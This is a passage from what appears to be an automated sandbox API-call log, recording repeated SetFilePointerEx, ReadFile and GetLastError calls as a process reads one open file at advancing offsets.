lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.881] GetLastError () returned 0x0 [0068.881] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.881] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5b5, lpOverlapped=0x0) returned 1 [0068.881] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.881] GetLastError () returned 0x0 [0068.881] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.881] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5ad, lpOverlapped=0x0) returned 1 [0068.881] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.881] GetLastError () returned 0x0 [0068.881] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.882] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a5, lpOverlapped=0x0) returned 1 [0068.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.882] GetLastError () returned 0x0 [0068.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.882] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x59d, lpOverlapped=0x0) returned 1 [0068.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.882] GetLastError () returned 0x0 [0068.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.882] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x595, lpOverlapped=0x0) returned 1 [0068.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.882] GetLastError () returned 0x0 [0068.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.883] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x58d, lpOverlapped=0x0) returned 1 [0068.883] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.883] GetLastError () returned 0x0 [0068.883] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.883] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x585, lpOverlapped=0x0) returned 1 [0068.883] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.883] GetLastError () returned 0x0 [0068.883] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.883] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x57d, lpOverlapped=0x0) returned 1 [0068.883] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.883] GetLastError () returned 0x0 [0068.883] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.883] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x575, lpOverlapped=0x0) returned 1 [0068.884] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.884] GetLastError () returned 0x0 [0068.884] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.884] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x56d, lpOverlapped=0x0) returned 1 [0068.884] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.884] GetLastError () returned 0x0 [0068.884] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.884] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x565, lpOverlapped=0x0) returned 1 [0068.884] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.884] GetLastError () returned 0x0 [0068.884] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.884] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x55d, lpOverlapped=0x0) returned 1 [0068.885] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.885] GetLastError () returned 0x0 [0068.885] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.885] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x555, lpOverlapped=0x0) returned 1 [0068.885] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.885] GetLastError () returned 0x0 [0068.885] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.885] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x54d, lpOverlapped=0x0) returned 1 [0068.885] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.885] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.885] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x545, lpOverlapped=0x0) returned 1 [0068.885] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.886] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x53d, lpOverlapped=0x0) returned 1 [0068.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.886] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x535, lpOverlapped=0x0) returned 1 [0068.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.886] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x52d, lpOverlapped=0x0) returned 1 [0068.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.886] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x525, lpOverlapped=0x0) returned 1 [0068.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x51d, lpOverlapped=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x515, lpOverlapped=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x50d, lpOverlapped=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x505, lpOverlapped=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.887] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4fd, lpOverlapped=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4f5, lpOverlapped=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ed, lpOverlapped=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e5, lpOverlapped=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4dd, lpOverlapped=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.888] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d5, lpOverlapped=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4cd, lpOverlapped=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4c5, lpOverlapped=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4bd, lpOverlapped=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4b5, lpOverlapped=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.889] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ad, lpOverlapped=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a5, lpOverlapped=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x49d, lpOverlapped=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x495, lpOverlapped=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x48d, lpOverlapped=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.890] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x485, lpOverlapped=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x47d, lpOverlapped=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x475, lpOverlapped=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x46d, lpOverlapped=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.891] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x465, lpOverlapped=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x45d, lpOverlapped=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | 